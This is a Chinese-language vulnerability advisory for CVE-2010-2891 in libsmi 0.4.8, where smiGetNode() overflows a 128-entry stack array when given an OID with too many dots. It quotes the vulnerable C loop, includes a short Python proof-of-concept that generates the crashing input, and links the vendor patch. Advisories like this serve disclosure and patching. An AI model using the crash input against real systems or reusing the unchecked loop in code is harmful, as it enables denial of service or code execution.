libsmi smiGetNode()函数超长OID解析栈溢出漏洞
发布日期:2010-10-20
更新日期:2010-10-25
受影响系统:Libsmi Libsmi 0.4.8
描述:
BUGTRAQ ID:
44276
CVE ID:
CVE-2010-2891
libsmi是用于访问SMI MIB信息的函数库。
如果用户以数字(如1.3.6.1.2.1.4.17)和可读(如ipForwarding)格式提供char *的OID名称,libsmi的smiGetNode函数会返回一个SmiNode结构。该函数使用了包含有128个元素的无符int型静态数组来容纳数组格式的OID:
/-----
SmiSubid oid[128];
- -----/
请注意SmiSubid为无符int型。
如果以char *所提供的OID是由句号所分割的连续数字,先后调用strtok和strtoul的循环就会填充这个数组:
/-----
if (isdigit((int)node2[0])) {
for (oidlen = 0, p = strtok(node2, ". "); p;
oidlen++, p = strtok(NULL, ". ")) {
oid[oidlen] = strtoul(p, NULL, 0);
}
}
- -----/
如果字符串中的node2超过了128个句号,该循环就会越过oid边界,触发经典栈溢出,导致可靠的执行任意代码。
<*来源:Andres Lopez Luksenberg
链接:
http://secunia.com/advisories/41841/
http://marc.info/?l=bugtraq&m=128760822910098&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/python
# run ./smisubtree `./libsmicrash.py`
if __name__ == "__main__":
s = ""
for i in xrange(158):
s = s + "1."
print s}
建议:
厂商补丁:
Libsmi
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.ibr.cs.tu-bs.de/projects/libsmi/index.html?lang=de浏览次数:2517
严重程度:0(网友投票)